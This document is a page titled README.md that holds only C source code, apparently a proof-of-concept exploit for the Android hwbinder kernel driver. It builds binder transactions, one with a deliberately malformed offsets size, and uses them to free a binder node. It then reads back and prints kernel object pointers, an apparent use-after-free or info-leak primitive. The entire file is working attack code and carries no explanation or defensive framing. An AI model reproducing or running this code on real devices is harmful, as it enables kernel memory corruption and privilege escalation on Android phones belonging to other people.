README.md
Rendering markdown...
#include "hwbinder.h"
#include "utils.h"
#include <sys/epoll.h>
#define BINDER_OBJ_PTR 0xbeefULL
static hidl_vec tk_bundle;
void free_binder_node(PBINDER_INFO info, uint32_t desc){
struct binder_transaction_data tr1;
struct binder_transaction_data tr2;
struct flat_binder_object fbo1;
struct flat_binder_object fbo2;
binder_size_t offsets1[] = {0};
binder_size_t offsets2[] = {0};
memset(&tr1, 0, sizeof(tr1));
memset(&tr2, 0, sizeof(tr2));
memset(&fbo1, 0, sizeof(fbo1));
memset(&fbo2, 0, sizeof(fbo2));
fbo1.hdr.type = BINDER_TYPE_BINDER;
fbo1.binder = desc;
fbo2.hdr.type = BINDER_TYPE_BINDER;
fbo2.binder = BINDER_OBJ_PTR;
tr1.target.handle = desc;
tr1.offsets_size =
(binder_size_t)sizeof(offsets1);
tr1.data_size =
(binder_size_t)sizeof(fbo1);
tr1.data.ptr.offsets =
(binder_uintptr_t)offsets1;
tr1.data.ptr.buffer =
(binder_uintptr_t)(&fbo1);
tr1.flags = TF_ACCEPT_FDS;
tr2.target.handle = desc;
tr2.offsets_size =
(binder_size_t)(sizeof(offsets2) - 1);
tr2.data_size =
(binder_size_t)sizeof(fbo2);
tr2.data.ptr.offsets =
(binder_uintptr_t)offsets2;
tr2.data.ptr.buffer =
(binder_uintptr_t)(&fbo2);
tr2.flags = TF_ONE_WAY;
//getchar();
binder_transaction(info, NULL, 0, tr1);
binder_transaction(info, NULL, 0, tr2);
binder_close(info);
}
void* child(void *args){
BINDER_INFO info;
PBINDER_INFO info_ptr = &info;
memset(&tk_bundle, 0, sizeof(tk_bundle));
BYTE token[0x40];
tk_bundle = hidl_vec_new(token, 0x40);
int r = hwbinder_open(info_ptr, CONST_MAPPED_SIZE);
if(r <= BINDER_VERSION_ERROR){
fprintf(stderr, "binder driver open failed: %x", r);
return NULL;
}
uint32_t tm = get_token_manager(info_ptr);
if(!tm){
perror("invalid tm!");
return NULL;
}
if(!create_token(info_ptr, tm, 0x41, &tk_bundle)){
perror("create token failed!");
return NULL;
}
puts("child token:");
print_hex(tk_bundle.buffer, tk_bundle.size);
binder_set_looper(info_ptr);
while (1) {
BYTE rb[0x100];
BYTE* rb_ptr = rb;
memset(rb, 0, sizeof(rb));
size_t d = binder_read(info_ptr, (BYTE*)rb, 0x100);
struct binder_transaction_data* trd =
(struct binder_transaction_data*)
parse_binder_message(rb, d);
binder_size_t* off =
(binder_size_t*)trd->data.ptr.offsets;
binder_size_t off_count =
(trd->offsets_size / sizeof(binder_size_t));
for(binder_size_t i=0; i<off_count; i++){
struct binder_object* obj =
(struct binder_object*)
(trd->data.ptr.buffer + off[i]);
switch (obj->hdr.type)
{
case BINDER_TYPE_HANDLE:{
uint32_t desc = obj->fbo.handle;
free_binder_node(info_ptr, desc);
return NULL;
}
default:
break;
}
}
}
binder_close(info_ptr);
}
void parent(){
memset(&tk_bundle, 0, sizeof(tk_bundle));
printf("parent pid %d\n", getpid());
// create child thread
create_thread(child, NULL);
delay_ms(200);
// wait token
if(tk_bundle.size <= 0)
return;
puts("parent token:");
BINDER_INFO info;
PBINDER_INFO info_ptr = &info;
print_hex(tk_bundle.buffer, tk_bundle.size);
int r = hwbinder_open(info_ptr, CONST_MAPPED_SIZE);
if(r <= BINDER_VERSION_ERROR){
fprintf(stderr, "binder driver open failed: %x", r);
return;
}
uint32_t tm = get_token_manager(info_ptr);
if(!tm){
perror("invalid tm!");
return;
}
uint32_t handle = get_handle_by_token(info_ptr, tm, &tk_bundle);
if(!handle){
perror("invalid handle!");
return;
}
printf("handle is %d\n", handle);
BYTE rb[0x100];
struct flat_binder_object o;
o.handle = BINDER_OBJ_PTR;
o.hdr.type = BINDER_TYPE_BINDER;
binder_size_t f[] = {0};
struct binder_transaction_data t;
t.code = 1;
t.target.handle = handle;
t.data_size = sizeof(o);
t.offsets_size = sizeof(f);
t.data.ptr.buffer = (binder_uintptr_t)&o;
t.data.ptr.offsets = (binder_uintptr_t)f;
t.flags = TF_ACCEPT_FDS;
binder_transaction(info_ptr, NULL, 0, t);
delay_ms(100);
size_t d = binder_read(info_ptr, rb, sizeof(rb));
struct binder_transaction_data* tr =
(struct binder_transaction_data*)
(rb + (sizeof(uint32_t) * 0x3));
print_hex(rb, d);
printf("%llx %llx\n", tr->target.ptr, tr->cookie);
binder_close(info_ptr);
}
int main(int argc, char* argv[]){
parent();
return 0;
}